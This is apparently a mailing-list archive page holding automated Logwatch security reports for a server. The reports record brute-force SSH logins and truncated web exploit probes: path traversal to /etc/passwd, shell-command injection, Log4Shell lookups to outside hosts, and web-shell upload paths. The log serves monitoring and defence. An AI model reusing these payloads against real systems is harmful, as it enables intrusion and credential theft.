August 2023 - TOPF - ZaPF-Lists

Logwatch for h2361197.stratoserver.net (Linux)

by root＠zapf.in

################### Logwatch 7.4.0 (03/01/11) #################### Processing Initiated: Sun Aug 6 04:42:03 2023 Date Range Processed: yesterday ( 2023-Aug-05 ) Period is day. Detail Level of Output: 0 Type of Output/Format: mail / text Logfiles for Host: h2361197.stratoserver.net ################################################################## --------------------- fail2ban-messages Begin ------------------------ Banned services with Fail2Ban: Bans:Unbans ssh: [190:191] ---------------------- fail2ban-messages End ------------------------- --------------------- httpd Begin ------------------------ Connection attempts using mod_proxy: 157.245.151.146 -> google.com:443: 1 Time(s) 199.254.199.10 -> create.roblox.com:443: 2 Time(s) 84.54.51.12 -> google.com:443: 2 Time(s) A total of 16 sites probed the server 101.32.103.70 107.170.225.19 109.74.204.123 165.232.186.41 172.105.246.139 192.241.194.104 198.199.101.120 202.184.205.107 206.189.127.130 216.218.206.66 36.225.120.189 43.158.217.137 5.42.87.157 5.42.95.168 5.44.42.25 92.118.39.245 Requests with error response codes 400 Bad Request null: 21 Time(s) mstshash=Administr: 6 Time(s) default.asp: 3 Time(s) google.com:443: 3 Time(s) *: 2 Time(s) /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/: 2 Time(s) 7: 2 Time(s) A@BAE@FAI: 2 Time(s) create.roblox.com:443: 2 Time(s) /: 1 Time(s) /.env: 1 Time(s) //%63%67%69%2d%62%69%6e/%70%68%70?%2d%64+% ... 70%75%74+%2d%6e: 1 Time(s) /__Additional: 1 Time(s) /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%3 ... 5%%32%65/bin/sh: 1 Time(s) /icons/%%32%65%%32%65/%%32%65%%32%65/%%32% ... 2%65/etc/passwd: 1 Time(s) /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65 ... 2%65/etc/passwd: 1 Time(s) /login.cgi: 1 Time(s) /pools/default/buckets: 1 Time(s) /readme.txt: 1 Time(s) /robots.txt: 1 Time(s) 9i\x1D\x07^\xE7\xFE_P\x84\xBB\xA0\xE0D\x7F ... xBE\x00\xBD\xC0: 1 Time(s) \xACo\x02\x17b\x9C\xDC\x05\xFC#+lCD\x02\x80\xC1X\x00\x00: 1 Time(s) \xBF\xFFY\xFC^I\xE1#\x0F\xAD\xF9!\xB9\xD3b ... xBE\x00\xBD\xC0: 1 Time(s) \xD0\xC9\xD6\x08\x9F\xD0Qc\xC1\x16\xFAIWTG ... \x0E\x9B\xA8+Zk: 1 Time(s) \xE00\xCC\xBAU]<\x15\x14\xBA\xC7W7c\x02\x9 ... 9\x87KE\xE1\x86: 1 Time(s) 500 Internal Server Error /: 45 Time(s) /.env: 5 Time(s) /apply_sec.cgi: 3 Time(s) /?class.module.classLoader.resources.conte ... content.aaa=xxx: 2 Time(s) /Visu/ens/events: 2 Time(s) /autodiscover/autodiscover.json?@zdi/Powershell: 2 Time(s) /c/msdownload/update/software/update/2021/ ... -967441-x86.cab: 2 Time(s) /favicon.ico: 2 Time(s) /fw6I: 2 Time(s) /is-bin: 2 Time(s) /restore.php: 2 Time(s) /solr/admin/cores?wt=json: 2 Time(s) /wp-admin/admin-ajax.php: 2 Time(s) /%24%7B%28%23a%3D%40org.apache.commons.io. ... C%23a%29%29%7D/: 1 Time(s) /%24%7B%40java.lang.Runtime%40getRuntime%2 ... .live%22%29%7D/: 1 Time(s) /.git/config: 1 Time(s) /3Hns: 1 Time(s) /?XDEBUG_SESSION_START=phpstorm: 1 Time(s) /?id=%25%7B%28%23instancemanager%3D%23appl ... rglist%29%29%7D: 1 Time(s) /?id=QwQsps%25{128*128}: 1 Time(s) /?p=1: 1 Time(s) /?s=index/think\x5Capp/invokefunction&func ... nfo&vars[1][]=1: 1 Time(s) /HDdlXqyIDH.txt: 1 Time(s) /OA_CGI/FNDWRR.exe: 1 Time(s) /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE: 1 Time(s) /Qf2s: 1 Time(s) /ReportServer: 1 Time(s) /RestAPI/ImportTechnicians: 1 Time(s) /SamlResponseServlet: 1 Time(s) /Schemas/$%7B%27%27.class.forName%28%27jav ... %22%29%27%29%7D: 1 Time(s) /Uploads/2TVw3CNIW0danwD51zlU9ouFEE4.php: 1 Time(s) /__: 1 Time(s) /actuator/gateway/routes: 1 Time(s) /actuator/health: 1 Time(s) /admin/elfinder/elfinder-cke.html: 1 Time(s) /admin/index.php?p=ajax-ops&op=elfinder&cm ... hp&target=l1_Lw: 1 Time(s) /adxmlrpc.php: 1 Time(s) /ajax: 1 Time(s) /ajax/render/widget_tabbedcontainer_tab_panel: 1 Time(s) /api/geojson?url=${jndi:ldap://${:-729}${: ... mgen.oast.live}: 1 Time(s) /api/login: 1 Time(s) /app/options.py: 1 Time(s) /assets/backend/elfinder/elfinder-cke.html: 1 Time(s) /assets/elFinder-2.1.9/elfinder.html: 1 Time(s) /assets/elFinder/elfinder.html: 1 Time(s) /asyncrenderer/%7B%7Burl%7D%7D?clientId={{ ... =500&wiki=xwiki: 1 Time(s) /avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com ... .%25252F1.1.1.1: 1 Time(s) /backend/elfinder/elfinder-cke.html: 1 Time(s) /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%6 ... heet&xpage=view: 1 Time(s) /bsh.servlet.BshServlet: 1 Time(s) /card_scan.php?No=30&ReaderNo=%60cat%20/et ... dlXqyIDH.txt%60: 1 Time(s) /catalog-portal/ui/oauth/verify?error&devi ... %74%73%22%29%7d: 1 Time(s) /ccmadmin/j_security_check: 1 Time(s) /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd: 1 Time(s) /checkValid: 1 Time(s) /console/css/%252e%252e%252fconsole.portal: 1 Time(s) /crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow: 1 Time(s) /css/eonweb.css: 1 Time(s) /debug.php: 1 Time(s) /devmode.action?debug=command&expression=( ... InputStream())): 1 Time(s) /dip/api/login: 1 Time(s) /druid/indexer/v1/sampler: 1 Time(s) /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php: 1 Time(s) /ecp/Current/exporttool/microsoft.exchange ... ool.application: 1 Time(s) /elfinder/elfinder-cke.html: 1 Time(s) /etc/groovyconsole.html: 1 Time(s) /forms/doLogin?login_username=admin&passwo ... t.live)&x=0&y=0: 1 Time(s) /geoserver/web/: 1 Time(s) /geoserver/wms: 1 Time(s) /goanywhere/lic/accept: 1 Time(s) /groovyconsole: 1 Time(s) /hub/: 1 Time(s) /include/makecvs.php?Event=%60curl+http%3a ... t%3a+QSf16w'%60: 1 Time(s) /index.php: 1 Time(s) /index.php?g=g&m=Door&a=index&content=<?ph ... d5('ThinkCMF');: 1 Time(s) /index.php?r=test/sss&data=TzoyMzoieWlpXGR ... nJ1biI7fX19fQ==: 1 Time(s) /index.php?s=/index/index/name/$%7B@phpinfo()%7D: 1 Time(s) /index.php?s=captcha: 1 Time(s) /install/includes/configure.php: 1 Time(s) /install/install.php?step=4: 1 Time(s) /jpeginfo/jpeginfo.php?url=cj6c9qk6akqh01j ... fi31e.oast.live: 1 Time(s) /jquery-file-upload/server/php/: 1 Time(s) /jquery.js: 1 Time(s) /load: 1 Time(s) /login: 1 Time(s) /login/: 1 Time(s) /lui/: 1 Time(s) /mainfile.php?username=test&password=testp ... (TestPoc)%3B%27: 1 Time(s) /mifs/.;/services/LogService: 1 Time(s) /mifs/j_spring_security_check: 1 Time(s) /nagiosxi/login.php: 1 Time(s) /nation.php: 1 Time(s) /new/login: 1 Time(s) /news.php: 1 Time(s) /nuxeo/login.jsp/pwn$%7B31333333330+7%7D.xhtml: 1 Time(s) /opennms/j_spring_security_check: 1 Time(s) /owa/auth/logon.aspx: 1 Time(s) /owa/auth/x.js: 1 Time(s) /pentaho/api/ldap/config/ldapTreeNodeChild ... }&mgrDn=a&pwd=a: 1 Time(s) /php/movefile.php?f=%2Fapp%2FUploads%2F2TV ... 1zlU9ouFEE4.php: 1 Time(s) /php/renamefile.php?f=%2Fapp%2FUploads%2F2 ... 1zlU9ouFEE4.php: 1 Time(s) /php/upload.php: 1 Time(s) /plugins/3rdPartyServers/ox3rdPartyServers ... .class.php?0=id: 1 Time(s) /portal/displayAPSForm.action?debug=comman ... ssion=1500*4829: 1 Time(s) /portal/info.jsp: 1 Time(s) /saas./resttosaasservlet: 1 Time(s) /scripts/setup.php: 1 Time(s) /service/extdirect: 1 Time(s) /suite-api/api/auth/token/acquire: 1 Time(s) /tests/support/stores/test_grid_filter.php ... -19625%22%29%3B: 1 Time(s) /tos/index.php?explorer/pathList&path=%60c ... t%3a+QSf16w'%60: 1 Time(s) /ucmdb-api/connect: 1 Time(s) /ui/h5-vsan/rest/proxy/service/com.vmware. ... rCapabilityData: 1 Time(s) /ui/login.action: 1 Time(s) /uploads/assets/backend/elfinder/elfinder-cke.html: 1 Time(s) /uploads/assets/backend/elfinder/elfinder.html: 1 Time(s) /uploads/elfinder/elfinder-cke.html: 1 Time(s) /user/login: 1 Time(s) /v2/query: 1 Time(s) /viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA% ... %BE%90%E1%B7%A2: 1 Time(s) /webGui/images/green-on.png/?path=x&site[x ... 847%22);%20?%3E: 1 Time(s) /websso/SAML2/SSO/vsphere.local?SAMLRequest: 1 Time(s) /webtools/control/main: 1 Time(s) /wh/glass.php: 1 Time(s) /wp-admin/admin-ajax.php?action=memberhero ... ro_hook=phpinfo: 1 Time(s) /wp-admin/admin-ajax.php?action=upg_datata ... asswd:NULL:NULL: 1 Time(s) /wp-admin/admin-post.php?vrc_cmd=phpinfo: 1 Time(s) /wp-content/plugins/insert-php/readme.txt: 1 Time(s) /wp-content/plugins/simple-file-list/ee-file-engine.php: 1 Time(s) /wp-content/plugins/simple-file-list/ee-upload-engine.php: 1 Time(s) /wp-content/plugins/vr-calendar-sync/assets/js/public.js: 1 Time(s) /wp-content/plugins/wpcargo/includes/2TVw3 ... .php?1=var_dump: 1 Time(s) /wp-content/plugins/wpcargo/includes/2TVw3 ... d1mbkNa9IT1.php: 1 Time(s) /wp-content/plugins/wpcargo/includes/barco ... d1mbkNa9IT1.php: 1 Time(s) /wp-content/uploads/simple-file-list/fiihiib.php: 1 Time(s) /wp-content/uploads/workreap-temp/2TVw3Fmp ... CWiiHQCZyMF.php: 1 Time(s) /ws_utc/resources/setting/keystore: 1 Time(s) /ws_utc/resources/setting/options: 1 Time(s) ---------------------- httpd End ------------------------- --------------------- pam_unix Begin ------------------------ sshd: Authentication Failures: root (36.112.135.187): 206 Time(s) root (66.248.240.100): 151 Time(s) root (206.189.145.254): 76 Time(s) unknown (165.22.47.193): 37 Time(s) unknown (170.64.157.126): 37 Time(s) unknown (68.183.86.176): 37 Time(s) unknown (143.244.129.88): 34 Time(s) unknown (142.93.210.137): 32 Time(s) unknown (93.179.90.178): 27 Time(s) root (185.224.128.142): 18 Time(s) root (41.223.6.200): 17 Time(s) root (165.22.47.193): 15 Time(s) root (170.64.157.126): 15 Time(s) root (68.183.86.176): 15 Time(s) root (142.93.210.137): 14 Time(s) root (143.244.129.88): 14 Time(s) unknown (187.95.146.42): 11 Time(s) root (103.143.230.237): 10 Time(s) root (ip-79-111-0-58.bb.netbynet.ru): 10 Time(s) unknown (103.96.151.81): 10 Time(s) unknown (197.159.133.194): 10 Time(s) root (191-241-145-70-reverso.dstech.com.br): 9 Time(s) root (193.169.255.233): 9 Time(s) unknown (14.194.76.134): 9 Time(s) unknown (159.223.50.39): 9 Time(s) unknown (159.65.123.176): 9 Time(s) unknown (175.206.238.63): 9 Time(s) unknown (179.61.245.13): 9 Time(s) unknown (197.231.202.215): 9 Time(s) unknown (210.209.125.246): 9 Time(s) unknown (43.154.114.117): 9 Time(s) unknown (45.236.244.130): 9 Time(s) unknown (62.193.106.227): 9 Time(s) root (101.35.241.167): 8 Time(s) root (80.191.90.136): 8 Time(s) root (93.179.90.178): 8 Time(s) unknown (103.98.4.2): 8 Time(s) unknown (113.161.37.216): 8 Time(s) unknown (129.226.212.228): 8 Time(s) unknown (167.172.159.73): 8 Time(s) unknown (204.93.174.149): 8 Time(s) unknown (210.3.92.14): 8 Time(s) unknown (43.134.236.99): 8 Time(s) unknown (43.153.193.131): 8 Time(s) unknown (43.156.239.2): 8 Time(s) unknown (61-219-171-213.hinet-ip.hinet.net): 8 Time(s) root (130.61.184.148): 7 Time(s) root (43.134.237.227): 7 Time(s) root (43.153.193.173): 7 Time(s) root (43.155.129.233): 7 Time(s) root (43.155.174.191): 7 Time(s) root (83.139.6.147): 7 Time(s) unknown (103.165.156.194): 7 Time(s) unknown (103.215.83.131): 7 Time(s) unknown (110.45.146.223): 7 Time(s) unknown (129.226.217.192): 7 Time(s) unknown (165.232.166.37): 7 Time(s) unknown (178.62.97.236): 7 Time(s) unknown (179.43.154.230): 7 Time(s) unknown (2-228-25-92.ip189.fastwebnet.it): 7 Time(s) unknown (201.103.67.131): 7 Time(s) unknown (201.44.2.4): 7 Time(s) unknown (23-126-62-36.lightspeed.lsvlky.sbcglobal.net): 7 Time(s) unknown (37.32.21.111): 7 Time(s) unknown (43.153.186.220): 7 Time(s) unknown (92.114.19.110): 7 Time(s) unknown (fixed-187-251-123-66.totalplay.net): 7 Time(s) root (103.165.156.194): 6 Time(s) root (103.176.96.68): 6 Time(s) root (118.98.121.241): 6 Time(s) root (124.106.104.91): 6 Time(s) root (210.209.125.246): 6 Time(s) root (23-126-62-36.lightspeed.lsvlky.sbcglobal.net): 6 Time(s) root (84.215.15.218): 6 Time(s) unknown (115.247.46.122): 6 Time(s) unknown (118.69.71.109): 6 Time(s) unknown (118.98.121.241): 6 Time(s) unknown (124.106.104.91): 6 Time(s) unknown (43.134.237.227): 6 Time(s) unknown (43.153.193.173): 6 Time(s) unknown (43.155.129.233): 6 Time(s) unknown (43.155.174.191): 6 Time(s) unknown (83.139.6.147): 6 Time(s) unknown (bl5-230-131.dsl.telepac.pt): 6 Time(s) root (103.96.151.81): 5 Time(s) root (107.172.201.220): 5 Time(s) root (110.45.146.223): 5 Time(s) root (118.69.71.109): 5 Time(s) root (143.198.146.239): 5 Time(s) root (165.232.166.37): 5 Time(s) root (178.62.97.236): 5 Time(s) root (198.46.215.53): 5 Time(s) root (201.44.2.4): 5 Time(s) root (43.130.48.196): 5 Time(s) root (43.153.186.220): 5 Time(s) root (70-88-3-29-nashville-tn.hfc.comcastbusiness.net): 5 Time(s) root (fixed-187-251-123-66.totalplay.net): 5 Time(s) unknown (101.35.241.167): 5 Time(s) unknown (143.198.146.239): 5 Time(s) unknown (147.235.221.239): 5 Time(s) unknown (191-241-145-70-reverso.dstech.com.br): 5 Time(s) unknown (198.46.215.53): 5 Time(s) unknown (43.130.48.196): 5 Time(s) unknown (43.131.41.190): 5 Time(s) unknown (70-88-3-29-nashville-tn.hfc.comcastbusiness.net): 5 Time(s) root (103.215.83.131): 4 Time(s) root (115.247.46.122): 4 Time(s) root (129.226.217.192): 4 Time(s) root (165.227.90.242): 4 Time(s) root (201.103.67.131): 4 Time(s) root (92.114.19.110): 4 Time(s) root (bl5-230-131.dsl.telepac.pt): 4 Time(s) unknown (103.143.230.237): 4 Time(s) unknown (107.172.201.220): 4 Time(s) unknown (165.227.90.242): 4 Time(s) unknown (80.191.90.136): 4 Time(s) root (147.235.221.239): 3 Time(s) root (159.223.50.39): 3 Time(s) root (167.172.159.73): 3 Time(s) root (197.231.202.215): 3 Time(s) root (2-228-25-92.ip189.fastwebnet.it): 3 Time(s) root (210.3.92.14): 3 Time(s) root (37.32.21.111): 3 Time(s) root (43.131.41.190): 3 Time(s) root (43.134.236.99): 3 Time(s) root (43.156.239.2): 3 Time(s) root (45.236.244.130): 3 Time(s) unknown (103.176.96.68): 3 Time(s) unknown (81.17.22.114): 3 Time(s) unknown (81.70.158.78): 3 Time(s) root (103.98.4.2): 2 Time(s) root (129.226.212.228): 2 Time(s) root (14.194.76.134): 2 Time(s) root (187.95.146.42): 2 Time(s) root (43.153.193.131): 2 Time(s) root (61-219-171-213.hinet-ip.hinet.net): 2 Time(s) root (62.193.106.227): 2 Time(s) unknown (220.122.38.52): 2 Time(s) unknown (232.127.235.77.dyn.idknet.com): 2 Time(s) unknown (mpr.hup-md.de): 2 Time(s) mysql (129.226.217.192): 1 Time(s) mysql (61-219-171-213.hinet-ip.hinet.net): 1 Time(s) postgres (103.143.230.237): 1 Time(s) postgres (103.98.4.2): 1 Time(s) postgres (110.45.146.223): 1 Time(s) postgres (142.93.210.137): 1 Time(s) postgres (143.244.129.88): 1 Time(s) postgres (165.22.47.193): 1 Time(s) postgres (170.64.157.126): 1 Time(s) postgres (210.209.125.246): 1 Time(s) postgres (210.3.92.14): 1 Time(s) postgres (43.153.193.131): 1 Time(s) postgres (68.183.86.176): 1 Time(s) root (113.161.37.216): 1 Time(s) root (159.65.123.176): 1 Time(s) root (175.101.101.250.static.excellmedia.net): 1 Time(s) root (175.206.238.63): 1 Time(s) root (179.43.154.230): 1 Time(s) root (179.61.245.13): 1 Time(s) root (181.120.151.250): 1 Time(s) root (197.159.133.194): 1 Time(s) root (218.255.7.250): 1 Time(s) root (43.154.114.117): 1 Time(s) root (92-48-105-178.static.as29550.net): 1 Time(s) root (94.253.15.101): 1 Time(s) root (vmi1343886.contaboserver.net): 1 Time(s) sync (103.215.83.131): 1 Time(s) sync (178.62.97.236): 1 Time(s) unknown (110.172.155.109): 1 Time(s) unknown (110.49.210.232): 1 Time(s) unknown (117.5.249.237): 1 Time(s) unknown (121.164.64.3): 1 Time(s) unknown (158.51.25.71): 1 Time(s) unknown (165.90.101.209): 1 Time(s) unknown (186.238.99.146): 1 Time(s) unknown (187-40-0-222.user.veloxzone.com.br): 1 Time(s) unknown (209.14.70.136): 1 Time(s) unknown (209.14.70.94): 1 Time(s) unknown (210-146-173-28.chiba.fdn.vectant.ne.jp): 1 Time(s) unknown (5.185.125.17.ipv4.public.orange.pl): 1 Time(s) unknown (65.20.139.138): 1 Time(s) unknown (ip-79-111-0-58.bb.netbynet.ru): 1 Time(s) unknown (p2935156-ipngn4001funabasi.chiba.ocn.ne.jp): 1 Time(s) Invalid Users: Unknown Account: 671 Time(s) ---------------------- pam_unix End ------------------------- --------------------- Postfix Begin ------------------------ 17 Miscellaneous warnings 20.876K Bytes accepted 21,377 20.876K Bytes sent via SMTP 21,377 ======== ================================================== 1 Accepted 100.00% -------- -------------------------------------------------- 1 Total 100.00% ======== ================================================== 8 4xx Reject relay denied 100.00% -------- -------------------------------------------------- 8 Total 4xx Rejects 100.00% ======== ================================================== 378 Connections 93 Connections lost (inbound) 378 Disconnections 1 Removed from queue 1 Sent via SMTP 14 Timeouts (inbound) 1 SMTP dialog errors 4 Hostname verification errors (FCRDNS) ---------------------- Postfix End ------------------------- --------------------- sendmail-largeboxes (large mail spool files) Begin ------------------------ Large Mailbox threshold: 40MB (41943040 bytes) Warning: Large mailbox: mailman.gz (1747199807) Warning: Large mailbox: mailman (235703599967) ---------------------- sendmail-largeboxes (large mail spool files) End ------------------------- --------------------- SSHD Begin ------------------------ Disconnecting after too many authentication failures for user: root : 2 Time(s) Failed logins from: 2.228.25.92 (2-228-25-92.ip189.fastwebnet.it): 3 times 14.194.76.134 (static-134.76.194.14-tataidc.co.in): 2 times 23.126.62.36 (23-126-62-36.lightspeed.lsvlky.sbcglobal.net): 6 times 36.112.135.187: 206 times 37.32.21.111: 3 times 41.223.6.200: 17 times 43.130.48.196: 5 times 43.131.41.190: 3 times 43.134.236.99: 3 times 43.134.237.227: 7 times 43.153.186.220: 5 times 43.153.193.131: 3 times 43.153.193.173: 7 times 43.154.114.117: 1 time 43.155.129.233: 7 times 43.155.174.191: 7 times 43.156.239.2: 3 times 45.236.244.130: 3 times 61.219.171.213 (61-219-171-213.hinet-ip.hinet.net): 3 times 62.193.106.227: 2 times 66.248.240.100: 151 times 68.183.86.176: 16 times 70.88.3.29 (70-88-3-29-nashville-tn.hfc.comcastbusiness.net): 5 times 79.111.0.58 (ip-79-111-0-58.bb.netbynet.ru): 9 times 80.191.90.136: 8 times 82.154.230.131 (bl5-230-131.dsl.telepac.pt): 4 times 83.139.6.147: 7 times 84.215.15.218 (cm-84.215.15.218.get.no): 6 times 92.48.105.178 (92-48-105-178.static.as29550.net): 1 time 92.114.19.110 (110.mobinnet.net): 4 times 93.179.90.178: 8 times 94.253.15.101: 1 time 101.35.241.167: 8 times 103.96.151.81: 5 times 103.98.4.2: 3 times 103.143.230.237: 11 times 103.165.156.194 (103-165-156-194.megadata.net.id): 6 times 103.176.96.68 (ip.68-96.g-fiber.co.id): 6 times 103.215.83.131: 5 times 107.172.201.220 (107-172-201-220-host.colocrossing.com): 5 times 110.45.146.223: 6 times 113.161.37.216 (static.vnpt.vn): 1 time 115.247.46.122: 4 times 118.69.71.109: 5 times 118.98.121.241: 6 times 124.106.104.91: 6 times 129.226.212.228: 2 times 129.226.217.192: 5 times 130.61.184.148: 7 times 142.93.210.137: 15 times 143.198.146.239: 5 times 143.244.129.88: 15 times 144.91.127.21 (vmi1343886.contaboserver.net): 1 time 147.235.221.239: 3 times 159.65.123.176: 1 time 159.223.50.39: 3 times 165.22.47.193: 16 times 165.227.90.242: 4 times 165.232.166.37 (ruangengineer.id-1666000108934-s-2vcpu-4gb-sgp1-01): 5 times 167.172.159.73: 3 times 170.64.157.126: 16 times 175.101.101.250 (175.101.101.250.static.excellmedia.net): 1 time 175.206.238.63: 1 time 178.62.97.236: 6 times 179.43.154.230 (hostedby.privatelayer.com): 1 time 179.61.245.13: 1 time 181.120.151.250 (pool-250-151-120-181.telecel.com.py): 1 time 185.224.128.142: 18 times 187.95.146.42 (42.146.95.187.static.horizonstelecom.com.br): 2 times 187.251.123.66 (fixed-187-251-123-66.totalplay.net): 5 times 191.241.145.70 (191-241-145-70-reverso.dstech.com.br): 9 times 193.169.255.233: 9 times 197.159.133.194: 1 time 197.231.202.215: 3 times 198.46.215.53 (198-46-215-53-host.colocrossing.com): 5 times 201.44.2.4: 5 times 201.103.67.131 (dsl-201-103-67-131-dyn.prod-infinitum.com.mx): 4 times 206.189.145.254 (buycost.io): 76 times 210.3.92.14: 4 times 210.209.125.246: 7 times 218.255.7.250 (static.reserve.wtt.net.hk): 1 time Illegal users from: 2001:470:1:c84::28: 1 time undef: 291 times 2.228.25.92 (2-228-25-92.ip189.fastwebnet.it): 7 times 5.185.125.17 (5.185.125.17.ipv4.public.orange.pl): 1 time 14.194.76.134 (static-134.76.194.14-tataidc.co.in): 9 times 23.126.62.36 (23-126-62-36.lightspeed.lsvlky.sbcglobal.net): 7 times 37.32.21.111: 7 times 43.130.48.196: 5 times 43.131.41.190: 5 times 43.133.0.192: 1 time 43.134.236.99: 8 times 43.134.237.227: 6 times 43.153.186.220: 7 times 43.153.193.131: 8 times 43.153.193.173: 6 times 43.154.114.117: 9 times 43.155.129.233: 6 times 43.155.174.191: 6 times 43.156.239.2: 8 times 45.129.14.51 (sanchez.explorethebest.com): 1 time 45.236.244.130: 9 times 61.219.171.213 (61-219-171-213.hinet-ip.hinet.net): 8 times 62.193.106.227: 9 times 65.20.139.138: 1 time 68.183.86.176: 37 times 70.88.3.29 (70-88-3-29-nashville-tn.hfc.comcastbusiness.net): 5 times 77.235.127.232 (232.127.235.77.dyn.idknet.com): 2 times 79.111.0.58 (ip-79-111-0-58.bb.netbynet.ru): 1 time 80.191.90.136: 4 times 81.17.22.114 (hostedby.privatelayer.com): 15 times 81.70.158.78: 3 times 82.154.230.131 (bl5-230-131.dsl.telepac.pt): 6 times 83.139.6.147: 6 times 92.114.19.110 (110.mobinnet.net): 7 times 93.179.90.178: 27 times 101.35.241.167: 5 times 103.88.237.235: 1 time 103.96.151.81: 10 times 103.98.4.2: 8 times 103.143.230.237: 4 times 103.165.156.194 (103-165-156-194.megadata.net.id): 7 times 103.176.96.68 (ip.68-96.g-fiber.co.id): 3 times 103.215.83.131: 7 times 107.172.201.220 (107-172-201-220-host.colocrossing.com): 4 times 109.74.204.123 (academyforinternetresearch.org): 1 time 110.45.146.223: 7 times 110.49.210.232: 1 time 110.172.155.109: 1 time 113.161.37.216 (static.vnpt.vn): 8 times 115.247.46.122: 6 times 117.5.249.237 (localhost): 1 time 118.15.131.156 (p2935156-ipngn4001funabasi.chiba.ocn.ne.jp): 1 time 118.69.71.109: 6 times 118.98.121.241: 6 times 121.164.64.3: 5 times 124.106.104.91: 6 times 129.226.212.228: 8 times 129.226.217.192: 7 times 142.93.210.137: 32 times 143.198.146.239: 5 times 143.244.129.88: 34 times 147.235.221.239: 5 times 154.83.14.230: 6 times 158.51.25.71: 1 time 159.65.123.176: 9 times 159.223.50.39: 9 times 165.22.47.193: 37 times 165.90.101.209: 1 time 165.227.90.242: 4 times 165.232.166.37 (ruangengineer.id-1666000108934-s-2vcpu-4gb-sgp1-01): 7 times 167.172.159.73: 8 times 170.64.157.126: 37 times 172.105.246.139 (172-105-246-139.ip.linodeusercontent.com): 1 time 175.206.238.63: 9 times 178.62.97.236: 7 times 179.43.154.230 (hostedby.privatelayer.com): 7 times 179.61.245.13: 9 times 186.238.99.146: 1 time 187.40.0.222 (187-40-0-222.user.veloxzone.com.br): 1 time 187.95.146.42 (42.146.95.187.static.horizonstelecom.com.br): 11 times 187.251.123.66 (fixed-187-251-123-66.totalplay.net): 7 times 191.241.145.70 (191-241-145-70-reverso.dstech.com.br): 5 times 197.159.133.194: 10 times 197.231.202.215: 9 times 198.46.215.53 (198-46-215-53-host.colocrossing.com): 5 times 201.44.2.4: 7 times 201.103.67.131 (dsl-201-103-67-131-dyn.prod-infinitum.com.mx): 7 times 204.93.174.149 (vps.kaigenie.com): 8 times 209.14.70.94: 1 time 209.14.70.136: 1 time 210.3.92.14: 8 times 210.146.173.28 (210-146-173-28.chiba.fdn.vectant.ne.jp): 1 time 210.209.125.246: 9 times 213.211.241.194 (mpr.hup-md.de): 2 times 220.122.38.52: 3 times **Unmatched Entries** Protocol major versions differ for 109.74.204.123: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 vs. SSH-1.5-Nmap-SSH1-Hostkey : 1 time(s) Protocol major versions differ for 109.74.204.123: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 vs. SSH-1.5-NmapNSE_1.0 : 1 time(s) Protocol major versions differ for 172.105.246.139: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 vs. SSH-1.5-Nmap-SSH1-Hostkey : 1 time(s) Protocol major versions differ for 172.105.246.139: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 vs. SSH-1.5-NmapNSE_1.0 : 1 time(s) Disconnecting: Corrupted padlen 0 on input. [preauth] : 1 time(s) userauth_pubkey: unsupported public key algorithm: rsa-sha2-512 [preauth] : 76 time(s) fatal: Unable to negotiate a key exchange method [preauth] : 2 time(s) ---------------------- SSHD End ------------------------- --------------------- Disk Space Begin ------------------------ Filesystem Size Used Avail Use% Mounted on /dev/ploop47383p1 394G 243G 132G 65% / none 4.0G 0 4.0G 0% /dev ---------------------- Disk Space End ------------------------- ###################### Logwatch End #########################

2 Jahre, 2 Monate

1
0
0 / 0

studienreformforum@zapf.in post from notify@vtehnologies.com requires approval

by studienreformforum-owner＠zapf.in

As list administrator, your authorization is requested for the following mailing list posting: List: studienreformforum(a)zapf.in From: notify(a)vtehnologies.com Subject: Dr. Ratna Sagar The message is being held because: The message is not from a list member At your convenience, visit your dashboard to approve or deny the request.

2 Jahre, 2 Monate

1
0
0 / 0

Logwatch for h2361197.stratoserver.net (Linux)

by root＠zapf.in

################### Logwatch 7.4.0 (03/01/11) #################### Processing Initiated: Sat Aug 5 04:42:03 2023 Date Range Processed: yesterday ( 2023-Aug-04 ) Period is day. Detail Level of Output: 0 Type of Output/Format: mail / text Logfiles for Host: h2361197.stratoserver.net ################################################################## --------------------- fail2ban-messages Begin ------------------------ Banned services with Fail2Ban: Bans:Unbans ssh: [194:199] ---------------------- fail2ban-messages End ------------------------- --------------------- httpd Begin ------------------------ Connection attempts using mod_proxy: 157.245.149.180 -> google.com:443: 1 Time(s) 157.245.150.241 -> google.com:443: 1 Time(s) 199.254.199.10 -> create.roblox.com:443: 1 Time(s) 54.221.140.120 -> zapf.wiki:443: 1 Time(s) 84.54.51.12 -> google.com:443: 2 Time(s) A total of 14 sites probed the server 103.153.77.123 107.170.247.47 109.237.98.226 135.148.13.183 167.99.199.214 192.241.231.7 193.35.18.253 202.184.205.107 205.210.31.41 46.101.221.153 5.188.210.227 64.62.197.125 66.240.205.34 89.248.165.96 Requests with error response codes 400 Bad Request null: 14 Time(s) /: 7 Time(s) google.com:443: 4 Time(s) /aaa9: 3 Time(s) /aab8: 3 Time(s) *: 2 Time(s) /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${I ... }zyxel.selfrep;: 2 Time(s) A@BAE@FAI: 2 Time(s) mstshash=Administr: 2 Time(s) /.env: 1 Time(s) /private/api/v1/service/premaster: 1 Time(s) 7: 1 Time(s) D\xDDjm\xE6\x010iml\x09\xF1I\x91\xA24N\x13 ... x00\x01\x02\x00: 1 Time(s) HTTP/1.0: 1 Time(s) \x04\x9F\xFA\x8B\xEAY;c\x81z\x91\xFE\x90o\ ... xE3\xB5\xD5\xEE: 1 Time(s) \x07\xC2Y\x8B\x17F\xD3\x0E\x9Ab\xD0;: 1 Time(s) \x0C\xFBw&,-\xC3kA\xDC\xF9\x1CoM\x04c\xEE\ ... x16\xC3\x00\x00: 1 Time(s) \x13z\xFA\xB7\xF6\xCB\x85\x9B\x02\xEF\xAF\ ... x09\xC0\x14\xC0: 1 Time(s) \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x ... 